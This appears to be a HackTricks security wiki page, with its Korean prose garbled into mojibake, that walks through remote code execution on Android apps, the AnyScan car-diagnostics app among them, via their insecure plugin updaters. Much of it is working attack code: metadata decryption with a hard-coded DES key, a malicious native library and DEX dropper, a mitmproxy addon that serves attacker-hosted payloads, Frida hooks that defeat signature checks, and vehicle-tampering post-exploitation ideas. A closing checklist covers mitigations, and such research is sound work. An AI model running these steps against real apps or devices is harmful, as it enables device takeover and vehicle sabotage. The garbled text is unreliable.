Insecure In-App Update Mechanisms โ€“ Remote Code Execution via Malicious Plugins

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๋งŽ์€ Android ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ Google Play Store๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ์•Š๊ณ  ์ž์ฒด์ ์ธ โ€œpluginโ€ ๋˜๋Š” โ€œdynamic featureโ€ ์—…๋ฐ์ดํŠธ ์ฑ„๋„์„ ๊ตฌํ˜„ํ•ฉ๋‹ˆ๋‹ค. ๊ตฌํ˜„์ด ์•ˆ์ „ํ•˜์ง€ ์•Š์œผ๋ฉด ์—…๋ฐ์ดํŠธ ํŠธ๋ž˜ํ”ฝ์„ ๊ฐ€๋กœ์ฑ„๊ฑฐ๋‚˜ ๋ณ€์กฐํ•  ์ˆ˜ ์žˆ๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ์•ฑ ํ”„๋กœ์„ธ์Šค ๋‚ด์—์„œ ๋กœ๋“œ๋  ์ž„์˜์˜ ๋„ค์ดํ‹ฐ๋ธŒ ๋˜๋Š” Dalvik/ART ์ฝ”๋“œ๋ฅผ ๊ณต๊ธ‰ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ํ•ธ๋“œ์…‹์—์„œ์˜ ์™„์ „ํ•œ Remote Code Execution (RCE)๋กœ ์ด์–ด์ง€๊ณ  โ€” ๊ฒฝ์šฐ์— ๋”ฐ๋ผ ์•ฑ์ด ์ œ์–ดํ•˜๋Š” ์™ธ๋ถ€ ์žฅ์น˜(์ž๋™์ฐจ, IoT, ์˜๋ฃŒ๊ธฐ๊ธฐ โ€ฆ)์—์„œ๋„ ์˜ํ–ฅ์„ ๋ฏธ์น  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ํŽ˜์ด์ง€๋Š” Xtool AnyScan automotive-diagnostics ์•ฑ (v4.40.11 โ†’ 4.40.40)์—์„œ ๋ฐœ๊ฒฌ๋œ ์‹ค์ œ ์ทจ์•ฝ์  ์ฒด์ธ์„ ์š”์•ฝํ•˜๊ณ , ๋‹ค๋ฅธ Android ์•ฑ์„ ๊ฐ์‚ฌํ•˜๊ณ  red-team ์ฐธ์—ฌ ์‹œ ์ž˜๋ชป๋œ ๊ตฌ์„ฑ(mis-configuration)์„ ๋ฌด๊ธฐํ™”ํ•  ์ˆ˜ ์žˆ๋„๋ก ๊ธฐ๋ฒ•์„ ์ผ๋ฐ˜ํ™”ํ•ฉ๋‹ˆ๋‹ค.


0. Quick triage: does the app have an inโ€‘app updater?

Static hints to look for in JADX/apktool:

  • Strings: โ€œupdateโ€, โ€œpluginโ€, โ€œpatchโ€, โ€œupgradeโ€, โ€œhotfixโ€, โ€œbundleโ€, โ€œfeatureโ€, โ€œassetโ€, โ€œzipโ€.
  • Network endpoints like /update, /plugins, /getUpdateList, /GetUpdateListEx.
  • Crypto helpers near update paths (DES/AES/RC4; Base64; JSON/XML packs).
  • Dynamic loaders: System.load, System.loadLibrary, dlopen, DexClassLoader, PathClassLoader.
  • Unzip paths writing under app-internal or external storage, then immediately loading a .so/DEX.

Runtime hooks to confirm:

// Frida: log native and dex loading
Java.perform(() => {
const Runtime = Java.use('java.lang.Runtime');
const SystemJ = Java.use('java.lang.System');
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');

SystemJ.load.overload('java.lang.String').implementation = function(p) {
console.log('[System.load] ' + p); return this.load(p);
};
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
};
Runtime.load.overload('java.lang.String').implementation = function(p){
console.log('[Runtime.load] ' + p); return this.load(p);
};
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
return this.$init(dexPath, optDir, libPath, parent);
};
});

1. ์•ˆ์ „ํ•˜์ง€ ์•Š์€ TLS TrustManager ์‹๋ณ„

  1. jadx / apktool๋กœ APK๋ฅผ ๋””์ปดํŒŒ์ผํ•˜๊ณ  ๋„คํŠธ์›Œํ‚น ์Šคํƒ(OkHttp, HttpUrlConnection, Retrofitโ€ฆ)์„ ์ฐพ๋Š”๋‹ค.
  2. ๋ชจ๋“  ์ธ์ฆ์„œ๋ฅผ ๋ฌดํ„ฑ๋Œ€๊ณ  ์‹ ๋ขฐํ•˜๋Š” ์ปค์Šคํ…€ TrustManager ๋˜๋Š” HostnameVerifier๋ฅผ ์ฐพ๋Š”๋‹ค:
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
}
};
}
  1. ์กด์žฌํ•  ๊ฒฝ์šฐ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ๋ชจ๋“  TLS certificate๋ฅผ ์ˆ˜๋ฝํ•ฉ๋‹ˆ๋‹ค โ†’ ํˆฌ๋ช… MITM proxy๋ฅผ self-signed cert๋กœ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
mitmproxy -p 8080 -s addon.py  # see ยง4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080  # on rooted device / emulator

If TLS pinning์ด ์ ์šฉ๋˜์–ด unsafe trust-all logic ๋Œ€์‹  ์ž‘๋™ํ•˜๋Š” ๊ฒฝ์šฐ, ๋‹ค์Œ์„ ์ฐธ์กฐํ•˜์„ธ์š”:

Android Anti Instrumentation And Ssl Pinning Bypass

Make APK Accept CA Certificate


2. Reverse-Engineering the Update Metadata

AnyScan์˜ ๊ฒฝ์šฐ, ์•ฑ ์‹คํ–‰ ์‹œ๋งˆ๋‹ค ๋‹ค์Œ์œผ๋กœ HTTPS GET ์š”์ฒญ์„ ๋ณด๋ƒ…๋‹ˆ๋‹ค:

https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx

์‘๋‹ต ๋ณธ๋ฌธ์€ XML ๋ฌธ์„œ์ด๋ฉฐ, <FileData> ๋…ธ๋“œ๋“ค์€ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ๊ฐ ํ”Œ๋Ÿฌ๊ทธ์ธ์„ ์„ค๋ช…ํ•˜๋Š” Base64๋กœ ์ธ์ฝ”๋”ฉ๋œ, DES-ECB๋กœ ์•”ํ˜ธํ™”๋œ JSON์„ ํฌํ•จํ•œ๋‹ค.

Typical hunting steps:

  1. ์•”ํ˜ธํ™” ๋ฃจํ‹ด(์˜ˆ: RemoteServiceProxy)์„ ์ฐพ๊ณ  ๋‹ค์Œ์„ ํ™•์ธํ•œ๋‹ค:
  • ์•Œ๊ณ ๋ฆฌ์ฆ˜ (DES / AES / RC4 โ€ฆ)
  • ์ž‘๋™ ๋ชจ๋“œ (ECB / CBC / GCM โ€ฆ)
  • ํ•˜๋“œ์ฝ”๋“œ๋œ ํ‚ค / IV (commonly 56โ€‘bit DES or 128โ€‘bit AES constants)
  1. ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ๋ฅผ ๋ณตํ˜ธํ™”/์•”ํ˜ธํ™”ํ•˜๊ธฐ ์œ„ํ•ด ํ•ด๋‹น ํ•จ์ˆ˜๋ฅผ Python์œผ๋กœ ์žฌ๊ตฌํ˜„ํ•œ๋‹ค:
from Crypto.Cipher import DES
from base64 import b64decode, b64encode

KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A"  # 56-bit key observed in AnyScan

def decrypt_metadata(data_b64: str) -> bytes:
cipher = DES.new(KEY, DES.MODE_ECB)
return cipher.decrypt(b64decode(data_b64))

def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()

ํ˜„์žฅ์—์„œ ๊ด€์ฐฐ๋œ ์‚ฌํ•ญ (2023โ€“2025):

  • ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ๋Š” ์ข…์ข… JSON-within-XML ๋˜๋Š” protobuf ํ˜•ํƒœ์ด๋ฉฐ, ์•ฝํ•œ ์•”ํ˜ธํ™”์™€ ์ •์  ํ‚ค๊ฐ€ ํ”ํ•ฉ๋‹ˆ๋‹ค.
  • ๋งŽ์€ ์—…๋ฐ์ดํŠธ ํ”„๋กœ๊ทธ๋žจ์ด ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ๋Š” HTTPS๋กœ ์ „๋‹ฌ๋˜๋”๋ผ๋„ ์‹ค์ œ payload ๋‹ค์šด๋กœ๋“œ์—๋Š” ํ‰๋ฌธ HTTP๋ฅผ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.
  • ํ”Œ๋Ÿฌ๊ทธ์ธ๋“ค์€ ์ž์ฃผ ์•ฑ ๋‚ด๋ถ€ ์ €์žฅ์†Œ๋กœ ์••์ถ•์„ ํ’€๋ฉฐ; ์ผ๋ถ€๋Š” ์—ฌ์ „ํžˆ ์™ธ๋ถ€ ์ €์žฅ์†Œ๋‚˜ ๋ ˆ๊ฑฐ์‹œ requestLegacyExternalStorage๋ฅผ ์‚ฌ์šฉํ•ด ์•ฑ ๊ฐ„ ๋ณ€์กฐ๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

3. ์•…์„ฑ ํ”Œ๋Ÿฌ๊ทธ์ธ ์ œ์ž‘

3.1 ๋„ค์ดํ‹ฐ๋ธŒ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๊ฒฝ๋กœ (dlopen/System.load[Library])

  1. ์ •์‹ plugin ZIP ํ•˜๋‚˜๋ฅผ ๊ณจ๋ผ ๋„ค์ดํ‹ฐ๋ธŒ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ๋‹น์‹ ์˜ payload๋กœ ๊ต์ฒดํ•ฉ๋‹ˆ๋‹ค:
// libscan_x64.so โ€“ constructor runs as soon as the library is loaded
__attribute__((constructor))
void init(void){
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
// spawn reverse shell, drop file, etc.
}
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
  1. JSON ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ๋ฅผ ์ˆ˜์ •ํ•˜์—ฌ "FileName" : "PWNED.zip" ๋ฐ "DownloadURL"์ด ๋‹น์‹ ์˜ HTTP ์„œ๋ฒ„๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋„๋ก ํ•ฉ๋‹ˆ๋‹ค.
  2. ์ˆ˜์ •ํ•œ JSON์„ ์žฌ์•”ํ˜ธํ™”ํ•˜๊ณ  Base64 ์ธ์ฝ”๋”ฉํ•œ ๋’ค, ๊ฐ€๋กœ์ฑˆ XML ๋‚ด๋ถ€์— ๋‹ค์‹œ ๋ณต์‚ฌํ•ฉ๋‹ˆ๋‹ค.

3.2 Dex-based plugin path (DexClassLoader)

์ผ๋ถ€ ์•ฑ์€ JAR/APK๋ฅผ ๋‹ค์šด๋กœ๋“œํ•˜๊ณ  DexClassLoader๋ฅผ ํ†ตํ•ด ์ฝ”๋“œ๋ฅผ ๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค. ๋กœ๋“œ ์‹œ ํŠธ๋ฆฌ๊ฑฐ๋˜๋Š” ์•…์„ฑ DEX๋ฅผ ์ž‘์„ฑํ•˜์„ธ์š”:

// src/pwn/Dropper.java
package pwn;
public class Dropper {
static { // runs on class load
try {
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
} catch (Throwable t) {}
}
}
# Compile and package to a DEX jar
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
jar cf dropper.jar -C out/ .
d8 --output outdex/ dropper.jar
cd outdex && zip -r plugin.jar classes.dex  # the updater will fetch this

๋Œ€์ƒ์ด Class.forName("pwn.Dropper")๋ฅผ ํ˜ธ์ถœํ•˜๋ฉด ์ •์  ์ดˆ๊ธฐํ™”์ž๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค; ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด Frida๋กœ ๋กœ๋“œ๋œ ํด๋ž˜์Šค๋ฅผ ๋ฆฌํ”Œ๋ ‰ํ‹ฐ๋ธŒํ•˜๊ฒŒ ์—ด๊ฑฐํ•˜๊ณ  ์ต์ŠคํฌํŠธ๋œ ๋ฉ”์„œ๋“œ๋ฅผ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค.


4. mitmproxy๋กœ ํŽ˜์ด๋กœ๋“œ ์ „๋‹ฌ

addon.py ์˜ˆ์ œ: ์›๋ณธ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ๋ฅผ ์กฐ์šฉํžˆ ๊ต์ฒดํ•ฉ๋‹ˆ๋‹ค:

from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()

def request(flow: http.HTTPFlow):
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
flow.response = http.Response.make(
200,
MOD_XML,
{"Content-Type": "text/xml"}
)

์•…์„ฑ ZIP/JAR๋ฅผ ํ˜ธ์ŠคํŒ…ํ•˜๊ธฐ ์œ„ํ•ด ๊ฐ„๋‹จํ•œ ์›น ์„œ๋ฒ„๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค:

python3 -m http.server 8000 --directory ./payloads

When the victim launches the app it will:

  • MITM ์ฑ„๋„์„ ํ†ตํ•ด ์šฐ๋ฆฌ๊ฐ€ ์œ„์กฐํ•œ XML์„ fetchํ•ฉ๋‹ˆ๋‹ค;
  • ํ•˜๋“œ์ฝ”๋”ฉ๋œ crypto๋กœ ์ด๋ฅผ decrypt & parseํ•ฉ๋‹ˆ๋‹ค;
  • PWNED.zip ๋˜๋Š” plugin.jar์„ download โ†’ private storage ๋‚ด๋ถ€์— unzipํ•ฉ๋‹ˆ๋‹ค;
  • ํฌํ•จ๋œ .so ๋˜๋Š” DEX๋ฅผ loadํ•˜์—ฌ ์ฆ‰์‹œ ์•ฑ ๊ถŒํ•œ(์นด๋ฉ”๋ผ, GPS, Bluetooth, filesystem, โ€ฆ)์œผ๋กœ ์šฐ๋ฆฌ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

Because the plugin is cached on disk the backdoor persists across reboots and runs every time the user selects the related feature.


4.1 Bypassing signature/hash checks (when present)

If the updater validates signatures or hashes, hook verification to always accept attacker content:

// Frida โ€“ make java.security.Signature.verify() return true
Java.perform(() => {
const Sig = Java.use('java.security.Signature');
Sig.verify.overload('[B').implementation = function(a) { return true; };
});

// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
Java.perform(() => {
const Arrays = Java.use('java.util.Arrays');
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
});

๋˜ํ•œ PluginVerifier.verifySignature(), checkHash() ๊ฐ™์€ ๋ฒค๋” ๋ฉ”์„œ๋“œ๋ฅผ ์Šคํ…ํ•˜๊ฑฐ๋‚˜ Java ๋˜๋Š” JNI์—์„œ ์—…๋ฐ์ดํŠธ ๊ฒŒ์ดํŒ… ๋กœ์ง์„ ์‡ผํŠธโ€‘์„œํ‚ทํ•˜๋Š” ๊ฒƒ์„ ๊ณ ๋ คํ•˜์„ธ์š”.


5. Other attack surfaces in updaters (2023โ€“2025)

  • Zip Slip path traversal while extracting plugins: malicious entries like ../../../../data/data/<pkg>/files/target overwrite arbitrary files. Always sanitize entry paths and use allowโ€‘lists.
  • External storage staging: if the app writes the archive to external storage before loading, any other app can tamper with it. Scoped Storage or internal app storage avoids this.
  • Cleartext downloads: metadata over HTTPS but payload over HTTP โ†’ straightforward MITM swap.
  • Incomplete signature checks: comparing only a single file hash, not the whole archive; not binding signature to developer key; accepting any RSA key present in the archive.
  • React Native / Web-based OTA content: if native bridges execute JS from OTA without strict signing, arbitrary code execution in the app context is possible (e.g., insecure CodePush-like flows). Ensure detached update signing and strict verification.

6. Post-Exploitation Ideas

  • Steal session cookies, OAuth tokens, or JWTs stored by the app.
  • Drop a second-stage APK and silently install it via pm install if possible (some apps already declare REQUEST_INSTALL_PACKAGES).
  • Abuse any connected hardware โ€“ in the AnyScan scenario you can send arbitrary OBDโ€‘II / CAN bus commands (unlock doors, disable ABS, etc.).

Detection & Mitigation Checklist (blue team)

  • Avoid dynamic code loading and outโ€‘ofโ€‘store updates. Prefer Playโ€‘mediated updates. If dynamic plugins are a hard requirement, design them as dataโ€‘only bundles and keep executable code in the base APK.
  • Enforce TLS properly: no custom trustโ€‘all managers; deploy pinning where feasible and a hardened network security config that disallows cleartext traffic.
  • Do not download executable code from outside Google Play. If you must, use detached update signing (e.g., Ed25519/RSA) with a developerโ€‘held key and verify before loading. Bind metadata and payload (length, hash, version) and fail closed.
  • Use modern crypto (AESโ€‘GCM) with perโ€‘message nonces for metadata; remove hardโ€‘coded keys from clients.
  • Validate integrity of downloaded archives: verify a signature that covers every file, or at minimum verify a manifest of SHAโ€‘256 hashes. Reject extra/unknown files.
  • Store downloads in appโ€‘internal storage (or scoped storage on Android 10+) and use file permissions that prevent crossโ€‘app tampering.
  • Defend against Zip Slip: normalize and validate zip entry paths before extraction; reject absolute paths or .. segments.
  • Consider Play โ€œCode Transparencyโ€ to allow you and users to verify that shipped DEX/native code matches what you built (compliments but does not replace APK signing).

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ